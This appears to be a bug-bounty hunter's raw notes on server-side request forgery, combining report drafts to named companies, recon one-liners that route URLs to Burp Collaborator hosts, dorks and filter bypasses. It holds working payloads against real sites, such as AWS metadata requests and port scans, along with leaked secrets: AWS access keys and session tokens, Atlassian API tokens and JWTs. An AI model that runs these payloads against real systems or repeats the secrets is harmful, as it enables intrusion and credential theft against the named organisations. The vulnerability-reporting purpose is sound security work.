SSRF
https://quizlet.com/cdn-cgi/image/f=auto,fit=cover,h=100,onerror=redirect,w=120/
https://
farm1.staticflickr.com@615pcsnienat67065o6uulidm4swgl.burpcollaborator.net/
175/455279239_720dfc98c8.jpg
proxy
page
width
url
redirect
file
height
cdn-cgi
localhost
Hi ipsy team,
Aditya here , I found critical security issues in one of your subdomain . Please
look into it
Title: SSRF leads to internal port scan and disclosing information about AWS
metadata
Severity : P1
Description:
The ability to trigger arbitrary external service interactions does not constitute
a vulnerability in its own right, and in some cases might even be the intended
behavior of the application. However, in many cases, it can indicate a
vulnerability with serious consequences. Appending special characters/payloads in
GET based URL gives information.
Endpoint: https://images.shopper.ipsy.com/720,fit,q85/payload_here
Steps for port scan:
1. https://images.shopper.ipsy.com/720,fit,q85/http://localhost:8080
2. After "localhost:" add ports like 8080,22,21,25 and see the response
80
image.png
image.png
URLs
Port Scan
https://images.shopper.ipsy.com/720,fit,q85/http://localhost:8080
https://images.shopper.ipsy.com/720,fit,q85/http://localhost:22
AWS Metadata URL:
https://images.shopper.ipsy.com/300,fit,q1/http://169.254.169.254/latest/meta-
data/iam/security-credentials/imageproxy_server
Disclosed Data:
{
"Code" : "Success",
"LastUpdated" : "2022-01-29T08:50:42Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARD6GXVWXRFRNHUOO",
"SecretAccessKey" : "zAjOKFFliRgAoQwwlVvjUh+5qCUoMwTUwR9Q8rbd",
"Token" :
"IQoJb3JpZ2luX2VjEMH//////////wEaCXVzLWVhc3QtMSJHMEUCIQDngpLHpcc0SUbQRcvq1+YWoIkIgx
ub2xYC2XLjbjpMAgIgIxoyoPHR+D9+h+dZqDbh5VmfP0BhOZpsA040nDcOSpkqgwQI6v//////////
ARADGgwwNzcxODkzMjgzMDMiDMXFebMKEq8i7UrFnCrXAw2EI4Uq6KcUeSJ/
6hx+TdeALNPSp+rUZGEZxSXEVcgDbeUbaitQpQiD+0IlzlMfCdyKEx2EVLy6boKMNZp8WUqiNQ9l6m7WQwh
JQZpNoIq9R0Z8xbLPb1nqekNsw0g/8M91+4E7padeMeluSaY8eRPB0kHYoV3dX6Q7hmwPr65EA3/
PSiyr847ALsmgFiCWe5x2pUwp7J9ACKH1S9an4Ins8XUtCboGdKS1IOjSPcL1cQdkoanBv/
g74jHYEyLZO9vQ3PKMvDTpGTlsCkIk0gIofPrYjuUs7bWhMkZK4hfkdiv3/
q5fqN+K6B2CXMkIf6guHuxcmAYn+ro9dGYrkbmxUBIEVvSmfZbmQJ6xJpiletRxQC+EMcI/7ykrQ/
X9MU+4I2AzmA9nOqURJH5F+8BK96etpf4aLYn2FviolQ7JrzLAEnJyawAjbfZ2v0azQOEYeJ8AP9h6akGQT
mwDIp4Yaj6YYqyZQfOkVW8yLSH06gWPcT/7BUAnTWvAQpMSa5S4NEexgF2kZZS9FpPzFHvrRE/
SeVENP+JsmJBbQpVAFpN4gBwYPm2sll35ckyuvcddJ5WpbOK61jwRkYzvwTU2HLeRh9j2ec9qjTUt4DihE3
8d0++TojCHgNSPBjqlAZ7W3iRIZvN6MXnYgHwSkJa8Cq6IZRHT2N1AhKilXRu8F/
i+AKtJc3WX3V8QoccFV4BTavfcSWUPOIAyJFgWfAhFLziVixWh4egkUu4mox6fx32Ggbi3BVTQoww7oODkW
tdIX4U4hjwDPJj2Kah7q93Wi0I492t7gK2ymakQtvpgAT4f2kpflSshtRbrxqN7yIgrpoL0iaIs3h6P6Emd
Wc9QZayKUw==",
"Expiration" : "2022-01-29T15:02:44Z"
}
Hello knaw team,
I aditya found security issue in your system where SSRF is leading to port scan
Title: Internal SSRF to scan ports and force to make HTTP request
Description:
The ability to trigger arbitrary external service interactions does not constitute
a vulnerability in its own right, and in some cases might even be the intended
behavior of the application. However, in many cases, it can indicate a
vulnerability with serious consequences. Appending special characters/payloads in
GET based URL gives information.
Steps:
1. Open URL https://tomcat.tiler01.huygens.knaw.nl/adore-djatoka/viewer2.1.html?
rft_id=http://localhost:8080/jp2/14759615811661.jp2
On port 8080 its giving instant response
2.https://tomcat.tiler01.huygens.knaw.nl/adore-djatoka/viewer2.1.html?
rft_id=http://localhost:80/jp2/14759615811661.jp2
Its giving slow response or taking time to response
3. https://tomcat.tiler01.huygens.knaw.nl/adore-djatoka/viewer2.1.html?
rft_id=http://localhost:8080/jp2/14759615811661.jp2
Changed localhost to 127.0.0.1 , 0.0.0.0 , [::]
4. Capture URL in burp suite > Send to intruder
5. Add port position as attacking position "8080"
6. Go to payloads > numbers > from 1 to 10000 | step 1 = Start attack
7. Observe the response where port 8080 is giving 200 OK and remaining are giving
404 etc
Impact:
As an attacker I am able to perform port scan internally , localhost payloads
working (Blacklist payload) . Able to induce server to make HTTP request on
different ports like 8080,443,80(DNS)
POC:
image.png
502
503
SSRF automation
subfinder -d target.com | httpx | tee subs.txt | sleep 3600; | cat subs.txt |
waybackurls | tee data.txt | sleep 3600; | cat data.txt | gf ssrf | tee ssrf.txt
cat data.txt | grep "=" | qsreplace
"hj4w5jlbpl95sx2i9wmip1o9r0xrlg.burpcollaborator.net" | tee ssrf.txt; ffuf -c -w
ssrf.txt -u FUZZ
Keywords for SSRF
proxy
page
width
url
redirect
file
height
cdn-cgi
localhost
Payload crafting
1. subs valid
2. getting wayback urls | valid urls
3. cat waybackurls | gf
cat wayback | gf ssrf | tee ssrftest.txt
cat ssrftest.txt | grep "=" | qsreplace
"https://3kojard9zjcg42auxw0eq1ify64wsl.burpcollaborator.net" | tee ssrf.txt
cat ssrf.txt | httpx -sc
https://clickjacker.io/?refer=3kojard9zjcg42auxw0eq1ify64wsl.burpcollaborator.net
https://clickjacker.io/test?url=3kojard9zjcg42auxw0eq1ify64wsl.burpcollaborator.net
https://www.clickjacker.io/test?
url=3kojard9zjcg42auxw0eq1ify64wsl.burpcollaborator.net
BB-TIP
echo minddesign.co.uk | gau | tee test
cat test | gf sqli | tee sqlitest
cat sqlitest | grep "=" | qsreplace "'" | tee final
GF Installation
1. go get -u github.com/tomnomnom/gf
2. echo 'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash' >>
~/.bashrc
3. mkdir .gf
4. cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf
5. git clone https://github.com/1ndianl33t/Gf-Patterns
echo 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud | waybackurls | grep "="
| qsreplace "http://169.254.169.254/latest" |
proxy=
page=
img=
red=
url=
APIPA: 169.254.169.254
payload:
http://169.254.169.254/latest
https://169.254.169.254/latest
169.254.169.254/latest
SSRF
1. HTTP req is imp
2. DNS is no use
3. HTTP req , Sometimes its no use - IP yours = no ssrf , IP third party - NA
paypal - aws , gcp
Aditya PC [malicous acitivity] = Aryan PC
attacker.com - target.com
sales.dell.com/api/us/imgurl=https://evil.com/aditya.xml
USE
1. Collaborator
2. Repeater
3. Intruder
1.Detetction
http
EXPLOIT
1. Cross port scan p3
80 HTTP - OPEN
443 HTTP - OPEN
22 Filtered / Closed
21 Mo req - Clsoed
3306 DNS
25 SMTP - OPEN
8000
8443
PASTE URL fucntion is vulnerable for SSRF leads to cross port scan
2. File over port + DOS p4 p1
POST /links/website HTTP/1.1
Host: backend-2.short.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/116.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 140
Referer: https://app.short.io/
Origin: https://app.short.io
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Authorization: JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVlOTU5MzcxLTZmMGQtNDQzZS04OTFhLTJlNj
A1ZTZjMDJiZCIsInVzZXJfaWQiOjEwMjE2NjgsImVtYWlsIjoieWNmZ3ZqaGJrQGdtYWlsLmNvbSIsImxvZ
2luSGlzdG9yeUlkIjoiMTRiMzU1ZGMtZjUzMC00NzI2LTk5NmYtNmRhNDc0ZjZmYmYxIiwiaW1wZXJzb25h
dGUiOmZhbHNlLCJpYXQiOjE2OTEyMzAzNjIsImV4cCI6MTY5MzgyMjM2MiwiaXNzIjoiYXV0aG9yaXplciJ
9.WDd0Nt_WYeNXNg_se82pmMP5GaOkuXBZWf-Knaz6Xow
Connection: close
{"originalURL":"wzzd95ogm3ehqi0na2v3y2olhcn2br.burpcollaborator.net:443/
admin","domain":"arnk.short.gy","source":"website","allowDuplicates":true}
1.1 Clear all position
1.2 url:443/admin - add admin as attack pos
1.3 Go to payloads
1.4 Add from list
1.5. Server side variable names > Start attack
3. Backend system scan p2
4. Whitelist bypass p2 p1
5. AWS metadata retrive P1
Where check
1. POST req
GET request
ADD image
Add link , URL
Add data - bio , name , last name
Headers
Update link
AJdAgnqCST4iPtnUxiGtTz
curl -X POST \
-d url="https://9mwt039uxglj13wwecrd5u8klbr1fq.burpcollaborator.net/aditya.png"
\
"https://www.filestackapi.com/api/store/S3?key=AJdAgnqCST4iPtnUxiGtTz"
===================================================================================
================================================================================
https://tomcat.tiler01.huygens.knaw.nl/
Where
1. Register Form : 100
2. Feedback Form : 100 GB | 50*50 GB = 50 GB
3. Comments : 100
4. File Upload : 100
5. Contact Us : 50
Impact:
1. Service will down
2. Other legit users cant send feedback
3. Backend Crash
4. Service will slow
TA:
Session : 1
Cookies : 1
Headers : 1
Values : 1
Parameters : 1
Payload :
5MB = 1 Form
As an attacker 20k
20000*5
1000000
100GB
Jsfuck
Payload:
How much Time : 3000 to 5000 time
Status Code :
501
502
503
4 GB = 2GB
GTA 5 65 GB
P2
+++++++++++++++++++++++++++++++
Comment Injection EXT SSRF
Where we can comment = article , post , image , blogs , forums , reply , reviews
Burp Collaborator
<p>Sorry! New URL is: <a
href="https://shorturl.at/dtDEU">https://google.com</a></p>
Aditya = kongsec.io
Hi team,
Aditya here found insecure function exploitation on app.october.eu
Bug: Business logic vulnerability in invite function leads to victim response
fetching via email of october.eu
While testing I found behavior in invite
function that sends hook mail to
which we put in email section. Whenever we
get email it shows NAME and some data. I used
Burp_Collaborator_Link.net" So I got mail which
was showing link
Burp_Collaborator_Link.net and the link is in
blue part so once who click on It will fetch
response of that person or victim. Main point is
Ifl registers the form with email of victim and
hit send it ill send mail on victim email
address via october address
How it will impact victim ?
Hacker will use email id of victim for invite
process. In every section hacker will use
collaborator link or grabbing link and registered
with victim email address. Victim will receive
mail with link once user interacted with link hacker will
get response in POLL
Business impact:
Normal user will think he got mail from october.eu but as we know function dont
have security to verify invite . So it will harm multiple users on behalf on
october.eu
Bug verified by other company also.
I hope you will patch it soon
sub.samsung.com = IP aws
1. HTTP is important | DNS = no use
2. Not every HTTP is SSRF
3. HTTP IP = if its yours then no SSRF
Always Exploit
market.nokia.com = IP =
SSRF:
External : Third Party service : Aws , gcp ,
Internal : Sys based, IP based , Network based
https://site.com/index/profile?img=https://site.sub.com/image.png
Where
Register Form : Name , Last name
Profile Bio
Headers
Add or insert Link
Check URL
Verify URL
How
1. Burp Collaborator
2. CollaboratorEverywhere
X-Forwarded-For:
Detection
HTTP://1oq5ai06ny6ifimgthixx91wwn2dq2.burpcollaborator.net
HTTPS://1oq5ai06ny6ifimgthixx91wwn2dq2.burpcollaborator.net
Request:
POST /links/website HTTP/1.1
Host: backend-2.short.io
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/55.0.2883.87 Safari/537.36
[email protected]
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
Origin: https://app.short.io
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Authorization: JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjQ2NDc4YmE2LTI5MDUtNDc2MC1iM2I1LTE5ND
hiMmE2ZGMyZCIsInVzZXJfaWQiOjM1Mzk3NywiZW1haWwiOiJoa2RzYmZoZGJAZ21haWwuY29tIiwibG9na
W5IaXN0b3J5SWQiOiI0YzM2ZGZjMy03NDM4LTQzNDktYjJlMi00Mjk0YWZhYWIyODQiLCJpYXQiOjE2NDI4
NDc3NjIsImV4cCI6MTY0NTQzOTc2MiwiaXNzIjoiYXV0aG9yaXplciJ9.FUUuuEEpd84ydIMg2IBr3AIT-
bippT9yXrG92MgjQeA
Referer: http://dizklt08ztnal2blf8fadgi27tdkblza.burpcollaborator.net/ref
Connection: close
Cache-Control: no-transform
CF-Connecting_IP: spoofed.l9vsc1rgq1eica2t6g6i4o9ay14s2pqe.burpcollaborator.net
Client-IP: spoofed.gcwnfwubtwhdf55o9b9d7jc51w7n5lta.burpcollaborator.net
X-Wap-Profile: http://llaso13g21qioaetigiigolaa1gser2g.burpcollaborator.net/wap.xml
True-Client-IP: spoofed.0pq7sg7v6guxspi8mvmxk3ppegk7i76w.burpcollaborator.net
X-Real-IP: spoofed.hg1ojxycxxlej69pdcdebkg65xbo9qxf.burpcollaborator.net
X-Forwarded-For: spoofed.kj7rm01f00ohm9csgfghenj980ercu0j.burpcollaborator.net
From: [email protected]
Contact: [email protected]
X-Originating-IP: spoofed.lmbsp14g31ripaftjgjihomab1hsgi47.burpcollaborator.net
Forwarded:
for=spoofed.0fg7igxvwgkxip88cvcxa3fp4ga79yxn.burpcollaborator.net;by=spoofed.0fg7ig
xvwgkxip88cvcxa3fp4ga79yxn.burpcollaborator.net;host=spoofed.0fg7igxvwgkxip88cvcxa3
fp4ga79yxn.burpcollaborator.net
X-Client-IP: spoofed.z5568fnumfaw8oy72u2w025ouf06zzno.burpcollaborator.net
{"originalURL":"http://
68cz0df7c4eurht8izyus6gkub02or.burpcollaborator.net:25","domain":"344r.short.gy","s
ource":"website","allowDuplicates":true}
Exploit
1. Port Scan P3 400 - 950
Open : HTTP
Closed : Nothing/DNS
80
21
22
25
8443
443
8080
3306
34.229.82.105
200 Ports
10 OPEN
190 closed
2. File over port
3. Backend System/machine Scan
4. CDN-CGI exploit
Wayback
5. AWS SSRF exploit
6. SSRF to Dos :
{"originalURL":"http://68cz0df7c4eurht8izyus6gkub02or.burpcollaborator.net:7/
index"} 1000 PORTS 502
7. Whitelist Bypass
65535 = 40535
20000 OPEN
[{"data":{"linkPostPreview":{"status":"PROCESSING","preview":null}}}]
https://quizlet.com/cdn-cgi/image/f=auto,fit=cover,h=100,onerror=redirect,w=120/
https://farm1.staticflickr.com/177/443368970_2550c05bd5.jpg
WhiteList
#
@
.
https://quizlet.com/cdn-cgi/image/f=auto,fit=cover,h=100,onerror=redirect,w=120/
https://
farm1.staticflickr.com.e3izhgppp50o5ys99mc7dou4nvtmhb.burpcollaborator.net/
177/443368970_2550c05bd5.jpg
https://
farm1.staticflickr.com.6jqrx85h5xgglq81pesztgaw3n9hx6.burpcollaborator.net/
177/443368970_2550c05bd5.jpg
https://process.fs.grailed.com/AJdAgnqCST4iPtnUxiGtTz/auto_image/cache=expiry:max/
rotate=deg:exif/resize=width:210/output=quality:70/compress/https://
process.fs.grailed.com@r2ucgto2oiz14brm8zbkc1thm8s6gv.burpcollaborator.net/
4srXcOuSkGLoFEAQb6Uk
burplink.net::8080 123.45.67.89 nmap IP 8080 443
X-Forwarded-For: http://burplink.net::
burplink.net::[22]:1
8080,22,25,443,3306
{profile_uri:http://burplink.net}
127.0.0.1
0.0.0.0
localhost
127.1/Admin
double encoding URl
http://developer.blackberry.com/devzone/files/burplink.net/design/bb10/
Wireframe_Slides_BB10_3.ppt
Dorks for testing:
https://www.google.com/url?
sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwjktcGvvd3oAhXg4jgGHY
ctAaUQFjAAegQIAxAB&url=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fdex.hu%2Fx.php%3Fid
%3Dtotalcar_magazin_cikklink%26url%3Dhttp%253A%252F%252Fen.wikipedia.org%252Fwiki
%252FUniform_Resource_Identifier&usg=AOvVaw0jWeJNWIgR8eM65PmT9lqa
https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://
169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-
instance
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
latest/meta-data/iam/security-credentials/flaws/
https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?
consumerUri=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fgoogle.com
https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?
consumerUri=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fgoogle.com
http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https%3A%2F
%2Fgoogle.com
https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?
consumerUri=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fgoogle.com
tesla.com/site/verify?uri=http://[email protected]
http://www.opensource.apple.com/source/files/files-599.15/Library/Documentation/
Acknowledgements.rtf
inurl:"/plugins/servlet/oauth/users/icon-uri?consumerUri="
http://jira.exeliatech.com:8000/plugins/servlet/oauth/users/icon-uri?
consumerUri=http://127.0.0.1
http://i.dell.com/sites/doccontent/shared-content/data-sheets/fr/Documents/http://
127.0.0.1/
/admin/data?id=
inurl:"/admin/data?id=532"
inurl:return =https
inurl:url=http
inurl:u=https
inurl:u=http
inurl:redirect?https
inurl:redirect?http
inurl:redirect=https
inurl:redirect=http
inurl:link=http
127.0.0.1 db url
%23e=octet
site.com/index/user/api?file=https://sub.site.com/abc.pdf
External SSRF
Internal SSRF
Where ?
Register : Name , Last name
Insert URL
Add URL
Verify URL
Paramaters
If IP is yours then its not SSRF
NOT evry HTTP IP is SSRF
Always exploit
Port Scan
If port is open = HTTP request in collaborator
If port is closed = DNS or nothing
AWS Metadata SSRF
Detection : WHOISIP
IP = AWS , GCP , DO etc
Function : Insert URL
SSRF IP = AWS
APIPA range = http://169.254.169.254/latest/meta-data
https://quizlet.com/cdn-cgi/image/f=auto,fit=cover,h=100,onerror=redirect,w=120/
https://farm1.staticflickr.com/10/15574189_44735baed9.jpg
Hi ipsy team,
Aditya here , I found critical security issues in one of your subdomain . Please
look into it
Title: SSRF leads to internal port scan and disclosing information about AWS
metadata
Severity : P1
Description:
The ability to trigger arbitrary external service interactions does not constitute
a vulnerability in its own right, and in some cases might even be the intended
behavior of the application. However, in many cases, it can indicate a
vulnerability with serious consequences. Appending special characters/payloads in
GET based URL gives information.
Endpoint: https://images.shopper.ipsy.com/720,fit,q85/payload_here
Steps for port scan:
1. https://images.shopper.ipsy.com/720,fit,q85/http://localhost:8080
2. After "localhost:" add ports like 8080,22,21,25 and see the response
80
image.png
image.png
URLs
Port Scan
https://images.shopper.ipsy.com/720,fit,q85/http://localhost:8080
https://images.shopper.ipsy.com/720,fit,q85/http://localhost:22
AWS Metadata URL:
https://images.shopper.ipsy.com/300,fit,q1/http://169.254.169.254/latest/meta-
data/iam/security-credentials/imageproxy_server
Disclosed Data:
{
"Code" : "Success",
"LastUpdated" : "2022-01-29T08:50:42Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARD6GXVWXRFRNHUOO",
"SecretAccessKey" : "zAjOKFFliRgAoQwwlVvjUh+5qCUoMwTUwR9Q8rbd",
"Token" :
"IQoJb3JpZ2luX2VjEMH//////////wEaCXVzLWVhc3QtMSJHMEUCIQDngpLHpcc0SUbQRcvq1+YWoIkIgx
ub2xYC2XLjbjpMAgIgIxoyoPHR+D9+h+dZqDbh5VmfP0BhOZpsA040nDcOSpkqgwQI6v//////////
ARADGgwwNzcxODkzMjgzMDMiDMXFebMKEq8i7UrFnCrXAw2EI4Uq6KcUeSJ/
6hx+TdeALNPSp+rUZGEZxSXEVcgDbeUbaitQpQiD+0IlzlMfCdyKEx2EVLy6boKMNZp8WUqiNQ9l6m7WQwh
JQZpNoIq9R0Z8xbLPb1nqekNsw0g/8M91+4E7padeMeluSaY8eRPB0kHYoV3dX6Q7hmwPr65EA3/
PSiyr847ALsmgFiCWe5x2pUwp7J9ACKH1S9an4Ins8XUtCboGdKS1IOjSPcL1cQdkoanBv/
g74jHYEyLZO9vQ3PKMvDTpGTlsCkIk0gIofPrYjuUs7bWhMkZK4hfkdiv3/
q5fqN+K6B2CXMkIf6guHuxcmAYn+ro9dGYrkbmxUBIEVvSmfZbmQJ6xJpiletRxQC+EMcI/7ykrQ/
X9MU+4I2AzmA9nOqURJH5F+8BK96etpf4aLYn2FviolQ7JrzLAEnJyawAjbfZ2v0azQOEYeJ8AP9h6akGQT
mwDIp4Yaj6YYqyZQfOkVW8yLSH06gWPcT/7BUAnTWvAQpMSa5S4NEexgF2kZZS9FpPzFHvrRE/
SeVENP+JsmJBbQpVAFpN4gBwYPm2sll35ckyuvcddJ5WpbOK61jwRkYzvwTU2HLeRh9j2ec9qjTUt4DihE3
8d0++TojCHgNSPBjqlAZ7W3iRIZvN6MXnYgHwSkJa8Cq6IZRHT2N1AhKilXRu8F/
i+AKtJc3WX3V8QoccFV4BTavfcSWUPOIAyJFgWfAhFLziVixWh4egkUu4mox6fx32Ggbi3BVTQoww7oODkW
tdIX4U4hjwDPJj2Kah7q93Wi0I492t7gK2ymakQtvpgAT4f2kpflSshtRbrxqN7yIgrpoL0iaIs3h6P6Emd
Wc9QZayKUw==",
"Expiration" : "2022-01-29T15:02:44Z"
}
==============
keyword: lout
EP: jira/projects
Summary: Atlassian token disclosure and crafting nested queries with internal port
scan as SSRF may leads to application level DOS
Steps to reproduce:
1. Use this in cmd: curl -v https://onduo.com --user
[email protected]:2f62f85b-0b5e-4ea0-baf8-
a57f8fb4f9a3_8ad836cdf79bba5c679a48e0d92f5fbe57b7cb0e_lout
2. I got this token from burpsuite spidering of accredible.atlassian.net
3. Now run this curl -v https://accredible.com:22 --user
admin@accredible .atlassian.net:e682d3ad-26d0-4cc1-8dc4-
91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
We can see the time delay on port change 80,8080 giving instant response but 22
port giving late reponse
Browser/OS: NA/ Firefox
Attack scenario:
A successful SSRF attack can often result in unauthorized actions or access to data
within the organization, either in the vulnerable application itself or on other
back-end systems that the application can communicate with. In some situations, the
SSRF vulnerability might allow an attacker to perform arbitrary command execution.
An SSRF exploit that causes connections to external third-party systems might
result in malicious onward attacks that appear to originate from the organization
hosting the vulnerable application, leading to potential legal liabilities and
reputational damage.
When we check command on 80,8080 port it gives speedy response but on port 22 it
gives late response . It means 22 closed. If hacker perform this attack like port
scan then this may leads to DOS
I got token while crawling whole web app or else simple method is that we can check
source code on following endpoint-- https://accredible.atlassian.net/projects
Steps to reproduce issue:
1. Check source code of https://accredible.atlassian.net/projects
2. Search for "atlassian-token"
3. Atlassian token can be used for crafting nested queries but I escalated this to
SSRF port scan
4. Syntax for crafting next queries : curl -v https://mainhost.com --user
[email protected]:atlassian_token_here_lout
Exploit command:
1. On port 80
curl -v https://accredible.com:80 --user [email protected]:e682d3ad-
26d0-4cc1-8dc4-91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
It crafted queries and gives us valid response , We can say instant response
image.png
2. On port 22
curl -v https://accredible.com:22 --user [email protected]:e682d3ad-
26d0-4cc1-8dc4-91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
It gave me response after 1 min 45 seconds :" failed to connect on port 22"
image.png
3. On port 443
curl -v https://accredible.com:443 --user [email protected]:e682d3ad-
26d0-4cc1-8dc4-91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
It gave me response which was instant with crafted queries
Command is curl -v https://accredible.com:443 --user
[email protected]:9c0fc891-2e3b-49d4-a94d-
6e2a409d1daf_711d800a83753ef92686d0ed61fd2b8a4cfb41d6_lout
Also I tried same command with port 3306 it takes a long time
Impact: The first part is , It gives instant response on open port and when I try
with closed port like 3306,22 it takes long to craft queries
So If hacker try same attacks on closed ports so the command will force a server to
craft queries because of a closed port it's not going to craft it . Performing same
attack on closed ports to craft queries will make server engage and this may leads
to DOS attack.
curl -v https://accredible.com:80 --user [email protected]:e682d3ad-
26d0-4cc1-8dc4-91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
On port 22
curl -v https://accredible.com:22 --user [email protected]:e682d3ad-
26d0-4cc1-8dc4-91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
On port 443
curl -v https://accredible.com:443 --user [email protected]:e682d3ad-
26d0-4cc1-8dc4-91d7b1376b57_6f7864e1a43c4347ebd0442227f4808d582792b1_lout
===============================================
Hi team,
I found JQL injection in https://wiki.eveoh.nl
Description
The JQL query in our case limits the data to one project and a specific (and rather
short) time range (the current month). This restriction is hard-coded and should
not change. However, a crafted user value allows us to remove this limitation:
Martin Schneider' OR created < '2021-01-01
Now the query becomes
project = TeamA AND created > startOfMonth() AND assignee = 'Martin Schneider' OR
created < '2021-01-01'
will fetch all tickets from all projects of the entire JIRA instance!
How to reproduce
Go to https:// wiki.eveoh.nl /issues/?jql=
in jql paramter put any heavy load crafted payload
And perform attack multiple times
attack vector is to craft JQL queries with bad performance and thus long runtime. I
didn’t explore this in detail, but it’s easy to imagine that queries using JQL
functions, especially custom ones, can be designed to become quite expensive. JIRA
has some safeguards in place, but this might still open an attack vector to perform
DoS attacks by sending multiple such queries at the same time.
Solution
As a security threat, JQL injection is far from being on the same level as SQL
injection. However, there are ways an attacker can exploit it. It is important to
understand under which circumstances it poses a threat and how to prevent it.
With security, having multiple layers of protection is a fundamental principle. In
my opinion, input sanitisation should always be one of them.
======================
Hi team,
Aditya here found unauthorised access on demo server
URL: https://jira.typo3.com/servicedesk/customer/user/signup
image.png
CVE 2019-14994 based bug hitting your service based applications Vulnerable This
advisory discloses a critical severity security vulnerability. Versions of Jira
Service Desk Server and Data Center are affected by this vulnerability. Customers
who have downloaded and installed affected versions of Jira Service Desk Server and
Data, please upgrade your Jira Service Desk Server and Data Center installations
immediately to fix this vulnerability. By design, Jira Service Desk gives customer
portal users permissions only to raise requests and view issues. This allows users
to interact with the customer portal without having direct access to Jira. These
restrictions can be bypassed by a remote attacker with portal access who exploits a
path traversal vulnerability. Exploitation allows an attacker to view all issues
within all Jira projects contained in the vulnerable instance. This could include
Jira Service Desk projects, Jira Core projects, and Jira Software projects. Impact
Attacker can raise unlimited issues. Note that attackers can grant themselves
access to Jira Service Desk portals that have the 'Anyone can email the service
desk or raise a request in the portal' setting enabled. Changing this setting does
not defend against an attacker that has portal access via other means. Atlassian
does not recommend changing the setting.
=================================================================
Hello team,
Aditya here found bug which is stored external ssrf and able to capture users logs
and IP,s via comment section:
Issue background
External service interaction arises when it is possible to induce an application to
interact with an arbitrary external service, such as a web or mail server. The
ability to trigger arbitrary external service interactions does not constitute a
vulnerability in its own right, and in some cases might even be the intended
behavior of the application. However, in many cases, it can indicate a
vulnerability with serious consequences.
Impact:
The ability to send requests to other systems can allow the vulnerable server to be
used as an attack proxy. By submitting suitable payloads, an attacker can cause the
application server to attack other systems that it can interact with. This may
include public third-party systems, internal systems within the same organization,
or services available on the local loopback adapter of the application server
itself. Depending on the network architecture, this may expose highly vulnerable
internal services that are not otherwise accessible to external attackers. The
facility to generate an email to an arbitrary address is often intended application
behavior. But this is not necessarily the case, particulary in cases where the
destination address is not explicitly entered on-screen by the user.
Steps:
How hacker will exploit this
Go to https://communities.bentley.com/communities/other_communities/sign-
in_assistance_and_web_services/f/cloud-and-web-services-forum/4547/bentley-
